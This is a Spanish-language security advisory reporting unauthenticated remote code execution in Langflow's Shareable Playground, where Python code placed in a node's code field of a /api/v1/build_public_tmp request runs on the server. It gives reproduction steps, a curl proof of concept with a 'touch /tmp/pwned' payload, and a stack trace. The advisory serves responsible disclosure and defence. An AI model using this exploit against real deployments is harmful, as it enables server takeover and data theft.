Descripción general

Langflow presenta una vulnerabilidad crítica de ejecución remota de código (RCE) en su funcionalidad denominada Shareable Playground (conocida internamente como Public Flows). El simple hecho de compartir un flujo expone el despliegue completo a RCE por parte de usuarios no autenticados. La vulnerabilidad fue verificada sobre el commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe.

Detalles técnicos

La funcionalidad Shareable Playground permite la ejecución de flujos de trabajo por parte de usuarios no autenticados mediante el acceso a un enlace público. Concretamente, habilita la ruta /api/v1/build_public_tmp para ejecutar cualquier flujo público dado su identificador.

El problema crítico reside en que, al ejecutar el flujo, la ruta permite proporcionar código Python arbitrario como código de nodo dentro del payload JSON de la petición. El campo vulnerable es:

code
data.nodes[X].data.node.template.code.value

Esto significa que un atacante puede sustituir el código legítimo del nodo por cualquier código Python malicioso, el cual será ejecutado directamente en el servidor sin ningún tipo de validación ni restricción de autenticación.

Prueba de concepto (PoC)

Pasos para reproducir la vulnerabilidad:

  1. Crear un nuevo flujo y añadir un nodo Chat Input.
  2. Compartir el flujo mediante la opción Shareable Playground.
  3. Acceder al enlace público con las herramientas de desarrollo del navegador abiertas y ejecutar el flujo.
  4. Localizar la ruta /api/v1/build_public_tmp y copiarla como comando cURL.
  5. Editar el campo JSON data.nodes[X].data.node.template.code.value con cualquier código Python y ejecutar el comando cURL.

Ejemplo de PoC (sustituir el ID del flujo por el correcto):

bash
curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \
  -H 'Content-Type: application/json' \
  -b 'client_id=anything' \
  --data-raw "$(cat test_with_python.json)"

Buscar touch /tmp/pwned en el archivo test_with_python.json y reemplazarlo por cualquier otro código Python para verificar la ejecución arbitraria en el servidor.

Traza de ejecución

La traza del stack correspondiente al código ejecutado es la siguiente:

code
File ".../langflow/api/build.py", line 495, in generate_flow_events
    ids, vertices_to_run, graph = await build_graph_and_get_order()
File ".../langflow/api/build.py", line 234, in build_graph_and_get_order
    graph = await create_graph(fresh_session, flow_id_str, flow_name)
File ".../langflow/api/build.py", line 298, in create_graph
    return await build_graph_from_data(...)
File ".../langflow/api/utils/core.py", line 192, in build_graph_from_data
    graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id"))
File ".../lfx/graph/graph/base.py", line 1153, in from_payload
    graph.add_nodes_and_edges(vertices, edges)
File ".../lfx/graph/graph/base.py", line 270, in add_nodes_and_edges
    self.initialize()
File ".../lfx/graph/graph/base.py", line 512, in initialize
    self._build_graph()
File ".../lfx/graph/graph/base.py", line 1305, in _build_graph
    self._instantiate_components_in_vertices()
File ".../lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices
    vertex.instantiate_component(self.user_id)
File ".../lfx/graph/vertex/base.py", line 382, in instantiate_component
    self.custom_component, _ = initialize.loading.instantiate_class(...)
File ".../lfx/interface/initialize/loading.py", line 45, in instantiate_class
    custom_component: CustomComponent | Component = class_object(...)
File "<string>", line 59, in __init__

Impacto

Cualquier despliegue de Langflow que tenga al menos un flujo compartido mediante la funcionalidad Shareable Playground queda expuesto a RCE no autenticado. Un atacante sin credenciales puede ejecutar código Python arbitrario en el servidor, lo que puede derivar en compromiso total del sistema, exfiltración de datos, movimiento lateral en la infraestructura o destrucción de recursos.

La vulnerabilidad fue descubierta e informada por Ori Lahav, investigador de seguridad en Rubrik Inc.